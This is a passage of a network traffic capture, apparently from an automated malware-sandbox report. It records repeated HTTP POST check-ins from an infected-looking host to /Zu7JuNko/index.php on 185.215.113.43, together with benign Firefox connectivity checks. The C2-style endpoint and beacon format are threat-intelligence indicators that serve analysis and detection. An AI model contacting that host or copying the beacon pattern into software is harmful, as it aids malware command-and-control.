Nov 23, 2024 21:21:12.591912985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	50219	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:14.220772028 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:15.609019041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	50220	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:17.355854034 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:21:18.697911978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	50221	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:20.332046986 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:21.767051935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	50222	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:23.506228924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:21:24.847119093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	50225	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:26.484704971 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:27.926529884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	50226	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:26.513257027 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:21:27.696155071 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48810 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:21:37.713416100 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:21:47.923188925 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:21:50.636085987 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:21:50.969897032 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48833 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:22:01.028685093 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:11.220340967 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:21.413536072 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:31.627198935 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:41.821180105 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:52.013742924 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:23:02.225466013 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:23:12.417999983 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	50227	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:27.825711012 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:21:29.027976990 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 70630 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:21:39.099756956 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:21:49.289797068 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:21:50.973082066 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:21:51.309252024 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 70653 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:22:01.392699003 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:11.582422018 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:21.795454979 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:31.989099979 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:42.183482885 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:22:52.395787001 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:23:02.587485075 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:23:12.802861929 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	50228	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:29.679043055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:21:31.041173935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	50229	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:32.672622919 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:34.056018114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	50230	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:35.805871964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:21:37.194161892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	50231	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:38.820560932 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:40.274919987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	50232	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:42.017525911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:21:43.452378035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	50233	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:45.092591047 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:46.517803907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	50234	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:48.269530058 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:21:49.744721889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	50236	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:51.382754087 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	50237	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:54.321527958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:21:55.742850065 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	50238	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:57.393038034 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:58.829257011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	50239	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:22:00.569206953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:22:01.943437099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:22:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	50240	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:22:03.590199947 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:22:05.216221094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:22:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	50241	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:22:06.967328072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:22:08.454158068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	50242	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:22:10.098792076 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:22:11.545977116 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:22:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	50243	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:22:13.296017885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:22:14.739542007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

